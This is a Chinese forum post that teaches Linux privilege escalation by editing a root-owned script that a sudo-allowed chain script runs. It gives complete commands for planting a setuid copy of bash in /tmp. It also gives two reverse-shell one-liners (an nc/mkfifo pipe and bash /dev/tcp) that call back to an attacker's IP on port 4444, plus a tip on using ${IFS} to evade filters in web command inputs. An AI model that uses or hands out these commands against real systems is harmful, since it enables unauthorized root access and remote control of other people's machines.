通过修改脚本来提权的方法

打印 上一主题 下一主题

主题 918|帖子 918|积分 2754

以普通用户登入后,先sudo -l
 
看看有什么具有root权限、且普通用户可以写入的脚本
例:A.sh
 
该类脚本普通用户是启动不了的,但可以通过链式脚本启动
例:
存在脚本B.sh,其内部为:
  1. #!/usr/bin/perl
  2. system("sh", "/etc/A.sh");
复制代码
即可以通过/usr/bin/perl来启动B脚本,然后B脚本又会启动A脚本
 
A、B脚本对于普通用户一般为:
  A可以写入且具有root权限,但不可执行
  B可以免密执行但不可写入
 
所以最重要的是找到这条链,并修改A脚本,最后执行B脚本
 
在找到A脚本后就可以通过两种方法来提取:
 
1.修改脚本来切换shell获取root权限的方法:
 
原理:
一般/bin/bash是具有root权限,而且普通用户不能启动,
故将其复制为/tmp/bash,这是允许用户启动的shell
这样一旦用户运行脚本/tmp/bash则会拥有root的权限
接着用户就可以运行/tmp/bash来获取root权限
 
操作:
1.先将命令写入A脚本
  1. echo "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > /../../A.sh
复制代码
 
2.以sudo执行B脚本
可以通过很多的方法启动
用sudo -l里允许的链式脚本文件或程序启动脚本
 
3.切换shell,获取root权限
  1. cd /tmp
  2. ./bash -p
复制代码
到这里就已经为root用户了
 
2.修改脚本建立一个反弹shell获取root权限的方法
 
原理:
运行脚本,脚本自动执行内置命令
然后就会反弹一个shell给本地机
本地机预先监听就可以连入
 
操作:
1.先将命令写入A脚本
  1. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc your_ip 4444 >/tmp/f<br><br>4444为将要监听的端口
复制代码
 或是该命令也行
  1. bash -i >&/dev/tcp/your_ip/4444 0>&1<br><br>4444为监听端口<br>可以用${IFS}来代替一个空格(用于网页command输入)
复制代码
 
2.在本地机上开启监听
  1. nc -lnvp 4444
复制代码
 
3.以sudo运行B脚本
运行完连入后即为root用户

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

嚴華

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表